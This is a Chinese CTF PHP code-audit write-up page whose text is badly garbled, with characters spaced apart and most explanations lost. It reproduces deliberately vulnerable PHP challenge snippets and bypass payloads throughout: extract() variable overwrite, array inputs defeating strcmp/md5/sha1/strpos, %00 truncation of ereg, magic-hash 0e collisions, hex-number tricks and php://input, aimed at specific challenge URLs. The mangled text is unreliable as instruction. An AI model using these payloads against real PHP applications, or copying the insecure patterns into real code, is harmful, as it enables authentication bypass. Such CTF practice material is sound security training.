[18002] 2021-05-08_CTF-PHP代码审计

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2021-05-08_CTF-PHP代码审计 C T F - P H P   h a c k i n g   H a c k i n g   2 0 2 1 - 0 5 - 0 8 1 e x t r a c t < ? p h p $ f l a g = ' x x x ' ; e x t r a c t ( $ _ G E T ) ; i f ( i s s e t ( $ s h i y a n ) ) { $ c o n t e n t = t r i m ( f i l e _ g e t _ c o n t e n t s ( $ f l a g ) ) ; i f ( $ s h i y a n = = $ c o n t e n t ) { e c h o ' f l a g { x x x } ' ; } e l s e { e c h o ' O h . n o ' ; } } ? > f i l e _ g e t _ c o n t e n t s ( ) : t r i m t r i m ' s t r i n g ' ' s t r i n g   y o u   w a n t   t o   d e l e t e ' $ _ G E T : U R L     g e t   $ _ G E T   e x t r a c t ( ) : 使 使   e x t r a c t ( a r r a y , e x t r a c t _ r u l e s , p r e f i x )   e x t r a c t ( $ _ G E T )   $ s h i y a n   =   $ _ G E T [ s h i y a n ]   $ f l a g   =   $ _ G E T [ f l a g ]   i s s e t ( ) $ s h i y a n   e x t r a c t ( ) p a y l o a d e x t r a c t ( ) E X T R _ O V E R W R I T E 1 .   i f ( i s s e t ( $ s h i y a n ) )     = =     T R U E 2 .   i f ( s h i y a n = = s h i y a n = = c o n t e n t )     = =     T R U E   / / e x t r a c t ( ) + p h p / / f i l e _ g e t _ c o n t e n t ( ) + p h p n u l l   = =   " s t r i n g "     = =   t r u e h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 . p h p ? s h i y a n =   h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 . p h p ? s h i y a n = & f l a g = h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 . p h p ? s h i y a n = & c o n t e n t =   h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 . p h p ? s h i y a n = 1 2 3 & f i l e = p h p : / / i n p u t p o s t   d a t a : 1 2 3
2 s t r c m p , 0 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 6 . p h p < ? p h p $ f l a g   =   " f l a g { x x x x x } " ; i f   ( i s s e t ( $ _ G E T [ ' a ' ] ) )   { i f   ( s t r c m p ( $ _ G E T [ ' a ' ] ,   $ f l a g )   = =   0 )   / /   s t r 1     s t r 2     <   0   s t r 1   s t r 2   >   0   0 / / d i e ( ' F l a g :   ' . $ f l a g ) ; e l s e p r i n t   ' N o ' ; } ? > d i e ( )   退 s t r c m p ( s t r 1 , s t r 2 ) 5 . 3 p h p r e t u r n   0 0 = = 0 p a y l o a d : ? a [ ] = 1 3 u r l d e c o d e h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 0 . p h p < ? p h p i f ( e r e g i ( " h a c k e r D J " , $ _ G E T [ i d ] ) )   { e c h o ( " n o t   a l l o w e d ! " ) ; e x i t ( ) ; } $ _ G E T [ i d ]   =   u r l d e c o d e ( $ _ G E T [ i d ] ) ; i f ( $ _ G E T [ i d ]   = =   " h a c k e r D J " ) { e c h o   " A c c e s s   g r a n t e d ! " ; e c h o   " f l a g " ; } ? >   e r e g i ( ) u r l d e c o d e ( ) U R L $ _ G E T [ ] h a c k e r D J U R L e r e g i ( ) h a c k e r D J $ _ G E T [ i d ] $ _ G E T U R L U R L u r l d e c o d e ( ) $ _ G E T [ i d ] U R L U R L $ _ G E T [ i d ] $ _ G E T [ i d ] h a c k e r D J $ _ G E T [ i d ] U R L f l a g h a c k e r D J U R L P a y l o a d ( h a c k e r D J   u r l E n c o d e ) h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 0 . p h p ? i d = % 2 5 % 3 6 % 3 8 % 2 5 % 3 6 % 3 1 % 2 5 % 3 6 % 3 3 k e r D J h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 0 . p h p ? i d = % 2 5 % 3 6 % 3 8 % 2 5 % 3 6 % 3 1 % 2 5 % 3 6 % 3 3 % 2 5 % 3 6 % 6 2 % 2 5 % 3 6 % 3 5 % 2 5 % 3 7 % 3 2 % 2 5 % 3 4 % 3 4 % 2 5 % 3 4 % 6 1 4 m d 5 ( ) 0 e m d 5 n u l l h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 8 . p h p < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; $ f l a g   =   ' f l a g { t e s t } ' ;
i f   ( i s s e t ( $ _ G E T [ ' u s e r n a m e ' ] )   a n d   i s s e t ( $ _ G E T [ ' p a s s w o r d ' ] ) )   { i f   ( $ _ G E T [ ' u s e r n a m e ' ]   = =   $ _ G E T [ ' p a s s w o r d ' ] ) p r i n t   ' Y o u r   p a s s w o r d   c a n   n o t   b e   y o u r   u s e r n a m e . ' ; e l s e   i f   ( m d 5 ( $ _ G E T [ ' u s e r n a m e ' ] )   = = =   m d 5 ( $ _ G E T [ ' p a s s w o r d ' ] ) ) d i e ( ' F l a g :   ' . $ f l a g ) ; e l s e p r i n t   ' I n v a l i d   p a s s w o r d ' ; } ? > m d 5 ( ) M D 5 m d 5 ( ) 使 m d 5 ( a r r a y ) n u l l P a y l o a d : h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 8 . p h p ? u s e r n a m e [ ] = 1 & p a s s w o r d [ ] = 2 5 N U L L h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 9 . p h p < ? p h p $ f l a g   =   " f l a g " ; i f   ( i s s e t ( $ _ G E T [ ' p a s s w o r d ' ] ) )   { i f   ( e r e g   ( " ^ [ a - z A - Z 0 - 9 ] + $ " ,   $ _ G E T [ ' p a s s w o r d ' ] )   = = =   F A L S E ) e c h o   ' Y o u   p a s s w o r d   m u s t   b e   a l p h a n u m e r i c ' ; e l s e   i f   ( s t r p o s   ( $ _ G E T [ ' p a s s w o r d ' ] ,   ' - - ' )   ! = =   F A L S E ) d i e ( ' F l a g :   '   .   $ f l a g ) ; e l s e e c h o   ' I n v a l i d   p a s s w o r d ' ; } ? > s t r p o s ( s t r i n g , f i n d [ ,   s t a r t ] ) e r e g ( ) 使 p a s s w o r d s t r p o s ( ) f l a g 使 e r e g ( ) s t r p o s ( ) e r e g ( ) p a s s w o r d n u l l n u l l ! = = f a l s e s t r p o s ( ) n u l l n u l l ! = = f a l s e p a y l o a d : ? p a s s w o r d [ ] = 1 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 9 . p h p ? p a s s w o r d [ ] = 1 e r e g ( ) % 0 0 p a y l o a d : ? p a s s w o r d = 1 % 0 0 - - h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 9 . p h p ? p a s s w o r d = j j j k % 0 0 - - 6 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 2 2 . p h p $ t e m p   =   $ _ G E T [ ' p a s s w o r d ' ] ; i s _ n u m e r i c ( $ t e m p ) ? d i e ( " n o   n u m e r i c " ) : N U L L ; i f ( $ t e m p > 1 3 3 6 ) { e c h o   $ f l a g ;   i s _ n u m e r i c ( v a r ) t r u e f a l s e i s _ n u m e r i c ( ) % 0 0 % 0 0 % 2 0 p a y l o a d 1 : ? p a s s w o r d = 1 3 3 7 % 0 0 p a y l o a d 2 : ? p a s s w o r d = 1 3 3 7 % 2 0 p a y l o a d 3 : ? p a s s w o r d = 1 3 3 7 a 7 s h a ( ) , n u l l < ? p h p $ f l a g   =   " f l a g " ;
i f   ( i s s e t ( $ _ G E T [ ' n a m e ' ] )   a n d   i s s e t ( $ _ G E T [ ' p a s s w o r d ' ] ) ) { v a r _ d u m p ( $ _ G E T [ ' n a m e ' ] ) ; e c h o   " " ; v a r _ d u m p ( $ _ G E T [ ' p a s s w o r d ' ] ) ; v a r _ d u m p ( s h a 1 ( $ _ G E T [ ' n a m e ' ] ) ) ; v a r _ d u m p ( s h a 1 ( $ _ G E T [ ' p a s s w o r d ' ] ) ) ; i f   ( $ _ G E T [ ' n a m e ' ]   = =   $ _ G E T [ ' p a s s w o r d ' ] ) e c h o   ' Y o u r   p a s s w o r d   c a n   n o t   b e y o u r   n a m e ! ' ; e l s e   i f   ( s h a 1 ( $ _ G E T [ ' n a m e ' ] )   = = =   s h a 1 ( $ _ G E T [ ' p a s s w o r d ' ] ) ) d i e ( ' F l a g :   ' . $ f l a g ) ; e l s e e c h o   ' I n v a l i d   p a s s w o r d . } e l s e e c h o   ' L o g i n   f i r s t ! ; ? > m d 5 ( ) s h a 1 ( ) h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 7 . p h p ? p a s s w o r d [ ] = 1 & n a m e [ ] = 2 a r r a y ( 1 )   {   [ 0 ] = >   s t r i n g ( 1 )   " 2 " }   a r r a y ( 1 )   {   [ 0 ] = >   s t r i n g ( 1 )   " 1 "   }   N U L L   N U L L   F l a g :   f l a g { b u g k u - - d a i m a s j - a 2 } 8 m d 5 , 0 e m d 5 = = h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 3 . p h p < ? p h p $ m d 5 1   =   m d 5 ( ' Q N K C D Z O ' ) ; $ a   =   @ $ _ G E T [ ' a ' ] ; $ m d 5 2   =   @ m d 5 ( $ a ) ; i f ( i s s e t ( $ a ) ) { i f   ( $ a   ! =   ' Q N K C D Z O '   & &   $ m d 5 1   = =   $ m d 5 2 )   { e c h o   " f l a g { * } " ; }   e l s e   { e c h o   " f a l s e ! ! ! " ; } } e l s e { e c h o   " p l e a s e   i n p u t   a " ; } ? > m d 5 0 e 0 P H P P H P ! = = = 0 E 0 0 E P H P s 8 7 8 9 2 6 1 9 9 a h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 3 . p h p ? a = s 1 5 5 9 6 4 6 7 1 a m d 5 0 e 2 4 0 6 1 0 7 0 8 0 e 4 6 2 0 9 7 4 3 1 9 0 6 5 0 9 0 1 9 5 6 2 9 8 8 7 3 6 8 5 4 Q N K C D Z O 0 e 8 3 0 4 0 0 4 5 1 9 9 3 4 9 4 0 5 8 0 2 4 2 1 9 9 0 3 3 9 1 s 8 7 8 9 2 6 1 9 9 a 0 e 5 4 5 9 9 3 2 7 4 5 1 7 7 0 9 0 3 4 3 2 8 8 5 5 8 4 1 0 2 0   s 1 5 5 9 6 4 6 7 1 a 0 e 3 4 2 7 6 8 4 1 6 8 2 2 4 5 1 5 2 4 9 7 4 1 1 7 2 5 4 4 6 9 s 2 1 4 5 8 7 3 8 7 a 0 e 8 4 8 2 4 0 4 4 8 8 3 0 5 3 7 9 2 4 4 6 5 8 6 5 6 1 1 9 0 4 s 2 1 4 5 8 7 3 8 7 a
0 e 8 4 8 2 4 0 4 4 8 8 3 0 5 3 7 9 2 4 4 6 5 8 6 5 6 1 1 9 0 4 s 8 7 8 9 2 6 1 9 9 a 0 e 5 4 5 9 9 3 2 7 4 5 1 7 7 0 9 0 3 4 3 2 8 8 5 5 8 4 1 0 2 0 9 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 2 0 . p h p < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; f u n c t i o n   n o o t h e r _ s a y s _ c o r r e c t ( $ t e m p ) { $ f l a g   =   ' f l a g { t e s t } ' ; $ o n e   =   o r d ( ' 1 ' ) ;   / / o r d       A S C I I       $ n i n e   =   o r d ( ' 9 ' ) ;   / / o r d       A S C I I   $ n u m b e r   =   ' 3 7 3 5 9 2 9 0 5 4 ' ; / /   C h e c k   a l l   t h e   i n p u t   c h a r a c t e r s ! f o r   ( $ i   =   0 ;   $ i   <   s t r l e n ( $ n u m b e r ) ;   $ i + + ) { / /   D i s a l l o w   a l l   t h e   d i g i t s ! $ d i g i t   =   o r d ( $ t e m p { $ i } ) ; i f   (   ( $ d i g i t   > =   $ o n e )   & &   ( $ d i g i t   < =   $ n i n e )   ) { / /   A h a ,   d i g i t   n o t   a l l o w e d ! r e t u r n   " f l a s e " ; } } i f ( $ n u m b e r   = =   $ t e m p ) r e t u r n   $ f l a g ; } $ t e m p   =   $ _ G E T [ ' p a s s w o r d ' ] ; e c h o   n o o t h e r _ s a y s _ c o r r e c t ( $ t e m p ) ; ? > o r d ( ) A S C I I p a s s w o r d 0 ~ 9 $ n u m b e r = = $ _ G E T [ p a s s w o r d ] $ n u m b e r = 3 7 3 5 9 2 9 0 5 4 1 6 d e a d c 0 d e 0 x 1 6 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 2 0 . p h p ? p a s s w o r d = 0 x d e a d c 0 d e 1 0 访 h t t p : / / 1 2 0 . 2 4 . 8 6 . 1 4 5 : 9 0 0 9 / b i a n l i a n g / 1 1 e r e g % 0 0 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 5 . p h p < ? p h p $ f l a g   =   " x x x " ; i f   ( i s s e t   ( $ _ G E T [ ' p a s s w o r d ' ] ) ) { i f   ( e r e g   ( " ^ [ a - z A - Z 0 - 9 ] + $ " ,   $ _ G E T [ ' p a s s w o r d ' ] )   = = =   F A L S E ) { e c h o   ' Y o u   p a s s w o r d   m u s t   b e a l p h a n u m e r i c ' ; } e l s e   i f   ( s t r l e n ( $ _ G E T [ ' p a s s w o r d ' ] )   <   8   & & $ _ G E T [ ' p a s s w o r d ' ]   >   9 9 9 9 9 9 9 ) { i f   ( s t r p o s   ( $ _ G E T [ ' p a s s w o r d ' ] ,   ' - ' ) ! = =   F A L S E )   / / s t r p o s     {
d i e ( ' F l a g :   '   .   $ f l a g ) ; } e l s e { e c h o ( ' -   h a v e   n o t   b e e n   f o u n d ' ) ; } } e l s e { e c h o   ' I n v a l i d   p a s s w o r d ' ; } } ? > e r e g ( ) p a s s w o r d p a s s w o r d 8 9 9 9 9 9 9 9 s t r p o s ( ) p a s s w o r d - f l a g s t r p o s ( ) s t r p o s ( )   n u l l ! = f a l s e ,   s t r l e n 0 p a y l o a d : ? p a s s w o r d [ ] = 9 9 9 9 9 9 9 9 9 9 e r e g ( ) % 0 0 1 e 9 s t r l e n ( $ _ G E T [ p a s s w o r d ] )   <   8   & &   $ _ G E T [ p a s s w o r d ] > 9 9 9 9 9 9 9 - s t r p o s ( ) p a y l o a d : ? p a s s w o r d = 1 e 9 % 0 0 * - * 1 2 s t r p o s h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 5 . p h p < ? p h p $ f l a g   =   " f l a g " ; i f   ( i s s e t   ( $ _ G E T [ ' c t f ' ] ) )   { i f   ( @ e r e g   ( " ^ [ 1 - 9 ] + $ " ,   $ _ G E T [ ' c t f ' ] )   = = =   F A L S E ) e c h o   ' ' ; e l s e   i f   ( s t r p o s   ( $ _ G E T [ ' c t f ' ] ,   ' # b i u b i u b i u ' )   ! = =   F A L S E ) d i e ( ' F l a g :   ' . $ f l a g ) ; e l s e e c h o   ' ~ ' ; } ? > p a y l o a d : ? c t f [ ] = 1   ? c t f = 1 2 3 3 3 % 0 0 # b i u b i u b i u e r e g % 0 0 s t r p o s ( ) 1 3 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 2 1 . p h p < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; $ f l a g   =   ' f l a g { t e s t } ' ; i f   ( " P O S T "   = =   $ _ S E R V E R [ ' R E Q U E S T _ M E T H O D ' ] ) { $ p a s s w o r d   =   $ _ P O S T [ ' p a s s w o r d ' ] ; i f   ( 0   > =   p r e g _ m a t c h ( ' / ^ [ [ : g r a p h : ] ] { 1 2 , } $ / ' ,   $ p a s s w o r d ) )   / / p r e g _ m a t c h     { e c h o   ' f l a g ' ; e x i t ; }
w h i l e   ( T R U E ) { $ r e g   =   ' / ( [ [ : p u n c t : ] ] + | [ [ : d i g i t : ] ] + | [ [ : u p p e r : ] ] + | [ [ : l o w e r : ] ] + ) / ' ; i f   ( 6   >   p r e g _ m a t c h _ a l l ( $ r e g ,   $ p a s s w o r d ,   $ a r r ) ) b r e a k ; $ c   =   0 ; $ p s   =   a r r a y ( ' p u n c t ' ,   ' d i g i t ' ,   ' u p p e r ' ,   ' l o w e r ' ) ;   / / [ [ : p u n c t : ] ]   [ [ : d i g i t : ] ]   [ [ : u p p e r : ] ]   [ [ : l o w e r : ] ]   f o r e a c h   ( $ p s   a s   $ p t ) { i f   ( p r e g _ m a t c h ( " / [ [ : $ p t : ] ] + / " ,   $ p a s s w o r d ) ) $ c   + =   1 ; } i f   ( $ c   <   3 )   b r e a k ; / / > = 3 i f   ( " 4 2 "   = =   $ p a s s w o r d )   e c h o   $ f l a g ; e l s e   e c h o   ' W r o n g   p a s s w o r d ' ; e x i t ; } } ? > P O S T p a s s w o r d 1 2 p a y l o a d : h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 2 1 . p h p P O S T : p a s s w o r d = 1 1 4 w a f h t t p : / / 1 2 0 . 2 4 . 8 6 . 1 4 5 : 9 0 1 0 / w p a b c d e a p h p a p h p : / / i n p u t t x t e p h p : / / i n p u t h e l l o   a d m i n                                                             c d c f l a g d b a s e 6 4 f l a g . p h p d 访 f l a g . p h p f l a g   o n   m y   h e a d 访 f l a g P l e a s e   c a l l   a d m i n   t o g e t f l a g c = f l a g . p h p w a f c = F l a g . p h p 西 . g i f O r z  
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则